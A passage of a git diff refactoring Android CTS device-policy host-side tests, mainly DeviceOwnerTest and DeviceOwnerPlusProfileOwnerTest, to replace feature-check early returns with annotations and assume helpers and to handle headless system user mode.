+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+/**
+ * Set of tests for use cases that apply to profile and device owner with DPC
+ * targeting API level 25.
+ */
+public abstract class DeviceAndProfileOwnerTestApi30 extends BaseDevicePolicyTest {
+
+    protected static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
+    protected static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp30.apk";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS =
+            ".BaseDeviceAdminTest$BasicAdminReceiver";
+
+    protected int mUserId;
+
+    @Override
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
+        // Clear device lock in case test fails (testUnlockFbe in particular)
+        getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
+        super.tearDown();
+    }
+
+    protected void executeDeviceTestClass(String className) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index d54dea3..e2b701d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -16,12 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -29,6 +28,7 @@
 import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper.Builder;
 
@@ -44,6 +44,8 @@
  * As combining a profile owner with a device owner is not supported, this class contains
  * negative test cases to ensure this combination cannot be set up.
  */
+// We need managed user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class DeviceOwnerPlusProfileOwnerTest extends BaseDevicePolicyTest {
     private static final String BIND_DEVICE_ADMIN_SERVICE_GOOD_SETUP_TEST =
             "com.android.cts.comp.BindDeviceAdminServiceGoodSetupTest";
@@ -78,29 +80,23 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // We need managed user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        if (mHasFeature) {
-            // Set device owner.
-            installAppAsUser(COMP_DPC_APK, mPrimaryUserId);
-            if (!setDeviceOwner(COMP_DPC_ADMIN, mPrimaryUserId, /*expectFailure*/ false)) {
-                removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId);
-                fail("Failed to set device owner");
-            }
-            runDeviceTestsAsUser(
-                    COMP_DPC_PKG,
-                    MANAGEMENT_TEST,
-                    "testIsDeviceOwner",
-                    mPrimaryUserId);
+
+        // Set device owner.
+        installAppAsUser(COMP_DPC_APK, mPrimaryUserId);
+        if (!setDeviceOwner(COMP_DPC_ADMIN, mPrimaryUserId, /*expectFailure*/ false)) {
+            removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId);
+            fail("Failed to set device owner");
         }
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testIsDeviceOwner",
+                mPrimaryUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
-        }
+        assertTrue("Failed to remove device owner.", removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
 
         super.tearDown();
     }
@@ -111,10 +107,6 @@
     @LargeTest
     @Test
     public void testCannotAddManagedProfileWithDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         assertCannotCreateManagedProfile(mPrimaryUserId);
     }
 
@@ -126,12 +118,9 @@
      */
     @FlakyTest
     @Test
-    @Ignore
+    @Ignore("b/183395856 Migrate to a device side test.")
     public void testCannotAddManagedProfileViaManagedProvisioning()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int profileUserId = provisionCorpOwnedManagedProfile();
         assertFalse(profileUserId >= 0);
     }
@@ -142,10 +131,6 @@
      */
     @Test
     public void testProvisioningNotAllowedWithDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG);
     }
 
@@ -156,9 +141,8 @@
     @FlakyTest
     @Test
     public void testBindDeviceAdminServiceAsUser_secondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
 
         installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
@@ -175,9 +159,8 @@
     @FlakyTest(bugId = 141161038)
     @Test
     public void testCannotRemoveUserIfRestrictionSet() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
         addDisallowRemoveUserRestriction();
         assertFalse(getDevice().removeUser(secondaryUserId));
@@ -188,9 +171,6 @@
 
     @Test
     public void testCannotAddProfileIfRestrictionSet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // by default, disallow add managed profile users restriction is set.
         assertCannotCreateManagedProfile(mPrimaryUserId);
     }
@@ -204,9 +184,8 @@
 
     @Test
     public void testWipeData_secondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
         addDisallowRemoveUserRestriction();
         // The PO of the managed user should be allowed to delete it, even though the disallow
@@ -217,9 +196,8 @@
 
     @Test
     public void testWipeData_secondaryUserLogged() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1) || !isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
         addDisallowRemoveUserRestriction();
         assertMetricsLogged(getDevice(), () -> {
@@ -230,13 +208,8 @@
 
     @Test
     public void testNetworkAndSecurityLoggingAvailableIfAffiliated() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(2);
 
-        if (!canCreateAdditionalUsers(2)) {
-            return;
-        }
         // If secondary users are allowed, create an affiliated one, to check that this still
         // works if having both an affiliated user and an affiliated managed profile.
         final int secondaryUserId = setupManagedSecondaryUser();
@@ -280,13 +253,7 @@
     @FlakyTest
     @Test
     public void testRequestBugreportAvailableIfAffiliated() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        if (!canCreateAdditionalUsers(2)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(2);
 
         final int secondaryUserId = setupManagedSecondaryUser();
 
@@ -409,7 +376,7 @@
 
     /** Returns the user id of the newly created secondary user */
     private int setupManagedSecondaryUser() throws Exception {
-        assertTrue(canCreateAdditionalUsers(1));
+        assertTrue("Cannot create 1 additional user", canCreateAdditionalUsers(1));
 
         runDeviceTestsAsUser(
                 COMP_DPC_PKG,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7879553..d994718 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -16,8 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_BACKUP;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -29,18 +30,15 @@
 import android.stats.devicepolicy.EventId;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.LocationModeSetter;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporaryIgnoreOnHeadlessSystemUserMode;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Ignore;
 import org.junit.Test;
 
 import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.Collections;
 import java.util.List;
 import java.util.Map;
@@ -48,18 +46,13 @@
 /**
  * Set of tests for Device Owner use cases.
  */
-public class DeviceOwnerTest extends BaseDevicePolicyTest {
-
-    private static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
-    private static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
+public class DeviceOwnerTest extends BaseDeviceOwnerTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
     private static final String MANAGED_PROFILE_ADMIN =
             MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
 
-    private static final String FEATURE_BACKUP = "android.software.backup";
-
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
     private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
 
@@ -74,11 +67,6 @@
             "com.android.cts.deviceowner.wificonfigcreator";
     private static final String WIFI_CONFIG_CREATOR_APK = "CtsWifiConfigCreator.apk";
 
-    private static final String ADMIN_RECEIVER_TEST_CLASS =
-            DEVICE_OWNER_PKG + ".BasicAdminReceiver";
-    private static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
-            + ADMIN_RECEIVER_TEST_CLASS;
-
     private static final String TEST_APP_APK = "CtsEmptyTestApp.apk";
     private static final String TEST_APP_PKG = "android.packageinstaller.emptytestapp.cts";
     private static final String TEST_APP_LOCATION = "/data/local/tmp/cts/packageinstaller/";
@@ -97,9 +85,6 @@
     private static final int TYPE_INSTALL_WINDOWED = 2;
     private static final int TYPE_POSTPONE = 3;
 
-    /** CreateAndManageUser is available and an additional user can be created. */
-    private boolean mHasCreateAndManageUserFeature;
-
     /**
      * Copied from {@link android.app.admin.DevicePolicyManager}
      */
@@ -109,64 +94,28 @@
     private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
             "usb_mass_storage_enabled";
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        if (mHasFeature) {
-            installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
-            if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
-                getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-                fail("Failed to set device owner");
-            }
-
-            // Enable the notification listener
-            getDevice().executeShellCommand("cmd notification allow_listener com.android.cts.deviceowner/com.android.cts.deviceowner.NotificationListener");
-        }
-        mHasCreateAndManageUserFeature = mHasFeature && canCreateAdditionalUsers(1)
-                && hasDeviceFeature("android.software.managed_users");
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
-            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-            switchUser(USER_SYSTEM);
-            removeTestUsers();
-        }
-
-        super.tearDown();
-    }
-
     @Test
     public void testDeviceOwnerSetup() throws Exception {
         executeDeviceOwnerTest("DeviceOwnerSetupTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode(bugId = "185498043",
+            reason = "automotive doesn't have IProxyService")
     public void testProxyStaticProxyTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("proxy.StaticProxyTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode(bugId = "185498043",
+            reason = "automotive doesn't have IProxyService")
     public void testProxyPacProxyTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("proxy.PacProxyTest");
     }
 
     @Test
     public void testRemoteBugreportWithTwoUsers() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
         final int userId = createUser();
         try {
             executeDeviceTestMethod(".RemoteBugreportTest",
@@ -179,9 +128,7 @@
     @FlakyTest(bugId = 137071121)
     @Test
     public void testCreateAndManageUser_LowStorage() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         try {
             // Force low storage
@@ -190,8 +137,7 @@
                     String.valueOf(Long.MAX_VALUE));
 
             // The next createAndManageUser should return USER_OPERATION_ERROR_LOW_STORAGE.
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_LowStorage");
+            executeCreateAndManageUserTest("testCreateAndManageUser_LowStorage");
         } finally {
             getDevice().executeShellCommand(
                     "settings delete global sys_storage_threshold_percentage");
@@ -202,19 +148,26 @@
 
     @Test
     public void testCreateAndManageUser_MaxUsers() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         int maxUsers = getDevice().getMaxNumberOfUsersSupported();
-        // Primary user is already there, so we can create up to maxUsers -1.
-        for (int i = 0; i < maxUsers - 1; i++) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser");
+
+        // System user is already there, so we can create up to maxUsers - 1.
+        int existingUsers = 1;
+
+        // On headless user mode, current user is also there
+        if (isHeadlessSystemUserMode()) {
+            existingUsers++;
+        }
+
+        CLog.d("testCreateAndManageUser_MaxUsers(): maxUxers=%d, existingUsers=%d", maxUsers,
+                existingUsers);
+
+        for (int i = 0; i < maxUsers - existingUsers; i++) {
+            executeCreateAndManageUserTest("testCreateAndManageUser");
         }
         // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_MaxUsers");
+        executeCreateAndManageUserTest("testCreateAndManageUser_MaxUsers");
     }
 
     /**
@@ -223,12 +176,9 @@
      */
     @Test
     public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_GetSecondaryUsers");
+        executeCreateAndManageUserTest("testCreateAndManageUser_GetSecondaryUsers");
     }
 
     /**
@@ -239,12 +189,9 @@
     @FlakyTest(bugId = 131743223)
     @Test
     public void testCreateAndManageUser_SwitchUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_SwitchUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_SwitchUser");
     }
 
     /**
@@ -254,12 +201,9 @@
      */
     @Test
     public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_CannotStopCurrentUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_CannotStopCurrentUser");
     }
 
     /**
@@ -269,12 +213,9 @@
      */
     @Test
     public void testCreateAndManageUser_StartInBackground() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_StartInBackground");
+        executeCreateAndManageUserTest("testCreateAndManageUser_StartInBackground");
     }
 
     /**
@@ -284,27 +225,33 @@
      */
     @Test
     public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         int maxUsers = getDevice().getMaxNumberOfUsersSupported();
         int maxRunningUsers = getDevice().getMaxNumberOfRunningUsersSupported();
 
         // Primary user is already running, so we can create and start up to minimum of above - 1.
         int usersToCreateAndStart = Math.min(maxUsers, maxRunningUsers) - 1;
+
+        // On headless user mode, system user is also running
+        if (isHeadlessSystemUserMode()) {
+            usersToCreateAndStart--;
+        }
+
+        CLog.d("testCreateAndManageUser_StartInBackground_MaxRunningUsers(): maxUxers=%d, "
+                + "maxRunningUsers=%d, usersToCreateAndStart=%d", maxUsers, maxRunningUsers,
+                usersToCreateAndStart);
         for (int i = 0; i < usersToCreateAndStart; i++) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_StartInBackground");
+            executeCreateAndManageUserTest("testCreateAndManageUser_StartInBackground");
         }
 
         if (maxUsers > maxRunningUsers) {
             // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
-            executeDeviceTestMethod(".CreateAndManageUserTest",
+            executeCreateAndManageUserTest(
                     "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
         } else {
             // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
-            executeDeviceTestMethod(".CreateAndManageUserTest", "testCreateAndManageUser_MaxUsers");
+            executeCreateAndManageUserTest("testCreateAndManageUser_MaxUsers");
         }
     }
 
@@ -315,12 +262,9 @@
      */
     @Test
     public void testCreateAndManageUser_StopUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_StopUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_StopUser");
         assertNewUserStopped();
     }
 
@@ -331,11 +275,9 @@
      */
     @Test
     public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
+        executeCreateAndManageUserTest(
                 "testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser");
         assertEquals(0, getUsersCreatedByTests().size());
     }
@@ -347,12 +289,9 @@
      */
     @Test
     public void testCreateAndManageUser_LogoutUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_LogoutUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_LogoutUser");
         assertNewUserStopped();
     }
 
@@ -363,12 +302,9 @@
      */
     @Test
     public void testCreateAndManageUser_Affiliated() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_Affiliated");
+        executeCreateAndManageUserTest("testCreateAndManageUser_Affiliated");
     }
 
     /**
@@ -378,12 +314,9 @@
      */
     @Test
     public void testCreateAndManageUser_Ephemeral() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_Ephemeral");
+        executeCreateAndManageUserTest("testCreateAndManageUser_Ephemeral");
 
         List<Integer> newUsers = getUsersCreatedByTests();
         assertEquals(1, newUsers.size());
@@ -400,61 +333,49 @@
      * {@link android.app.admin.DevicePolicyManager#LEAVE_ALL_SYSTEM_APPS_ENABLED} is tested.
      */
     @Test
-    public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+   public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
+        assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_LeaveAllSystemApps");
+        executeCreateAndManageUserTest("testCreateAndManageUser_LeaveAllSystemApps");
     }
 
     @Test
     public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_SkipSetupWizard");
-       }
+        assumeCanCreateOneManagedUser();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_SkipSetupWizard");
     }
 
     @Test
     public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_AddRestrictionSet");
-        }
+        assumeCanCreateOneManagedUser();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_AddRestrictionSet");
     }
 
     @Test
     public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_RemoveRestrictionSet");
-        }
+        assumeCanCreateOneManagedUser();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
     }
 
     @FlakyTest(bugId = 126955083)
     @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testUserAddedOrRemovedBroadcasts");
-        }
+        assumeCanCreateOneManagedUser();
+
+        executeCreateAndManageUserTest("testUserAddedOrRemovedBroadcasts");
     }
 
     @Test
     public void testUserSession() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("UserSessionTest");
     }
 
     @Test
     public void testNetworkLoggingWithTwoUsers() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
 
         final int userId = createUser();
         try {
@@ -470,9 +391,6 @@
     @FlakyTest(bugId = 137092833)
     @Test
     public void testNetworkLoggingWithSingleUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".NetworkLoggingTest", "testProvidingWrongBatchTokenReturnsNull");
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
@@ -480,9 +398,6 @@
 
     @Test
     public void testNetworkLogging_multipleBatches() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(2)));
     }
@@ -490,9 +405,6 @@
     @LargeTest
     @Test
     public void testNetworkLogging_rebootResetsId() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // First batch: retrieve and verify the events.
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
@@ -508,9 +420,6 @@
 
     @Test
     public void testSetAffiliationId_IllegalArgumentException() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_null");
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
     }
@@ -518,9 +427,6 @@
     @Test
     @Ignore("b/145932189")
     public void testSetSystemUpdatePolicyLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".SystemUpdatePolicyTest", "testSetAutomaticInstallPolicy");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_SYSTEM_UPDATE_POLICY_VALUE)
@@ -550,15 +456,14 @@
     @FlakyTest(bugId = 127101449)
     @Test
     public void testWifiConfigLockdown() throws Exception {
-        final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
-        if (hasWifi && mHasFeature) {
-            try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
-                installAppAsUser(WIFI_CONFIG_CREATOR_APK, mPrimaryUserId);
-                locationModeSetter.setLocationEnabled(true);
-                executeDeviceOwnerTest("WifiConfigLockdownTest");
-            } finally {
-                getDevice().uninstallPackage(WIFI_CONFIG_CREATOR_PKG);
-            }
+        assumeHasWifiFeature();
+
+        try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
+            installAppAsUser(WIFI_CONFIG_CREATOR_APK, mPrimaryUserId);
+            locationModeSetter.setLocationEnabled(true);
+            executeDeviceOwnerTest("WifiConfigLockdownTest");
+        } finally {
+            getDevice().uninstallPackage(WIFI_CONFIG_CREATOR_PKG);
         }
     }
 
@@ -567,20 +472,15 @@
      */
     @Test
     public void testWifiSetHttpProxyTest() throws Exception {
-        final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
-        if (hasWifi && mHasFeature) {
-            try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
-                locationModeSetter.setLocationEnabled(true);
-                executeDeviceOwnerTest("WifiSetHttpProxyTest");
-            }
+        assumeHasWifiFeature();
+        try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
+            locationModeSetter.setLocationEnabled(true);
+            executeDeviceOwnerTest("WifiSetHttpProxyTest");
         }
     }
 
     @Test
     public void testCannotSetDeviceOwnerAgain() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // verify that we can't set the same admin receiver as device owner again
         assertFalse(setDeviceOwner(
                 DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
@@ -602,9 +502,6 @@
     // Execute HardwarePropertiesManagerTest as a device owner.
     @Test
     public void testHardwarePropertiesManagerAsDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         executeDeviceTestMethod(".HardwarePropertiesManagerTest", "testHardwarePropertiesManager");
     }
@@ -612,18 +509,12 @@
     // Execute VrTemperatureTest as a device owner.
     @Test
     public void testVrTemperaturesAsDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         executeDeviceTestMethod(".VrTemperatureTest", "testVrTemperatures");
     }
 
     @Test
     public void testIsManagedDeviceProvisioningAllowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // This case runs when DO is provisioned
         // mHasFeature == true and provisioned, can't provision DO again.
         executeDeviceTestMethod(".PreDeviceOwnerTest", "testIsProvisioningAllowedFalse");
@@ -633,13 +524,8 @@
      * Can provision Managed Profile when DO is set by default if they are the same admin.
      */
     @Test
+    @RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
     public void testIsManagedProfileProvisioningAllowed_deviceOwnerIsSet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (!hasDeviceFeature("android.software.managed_users")) {
-            return;
-        }
         executeDeviceTestMethod(".PreDeviceOwnerTest",
                 "testIsProvisioningNotAllowedForManagedProfileAction");
     }
@@ -647,85 +533,39 @@
     @FlakyTest(bugId = 137096267)
     @Test
     public void testAdminActionBookkeeping() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("AdminActionBookkeepingTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
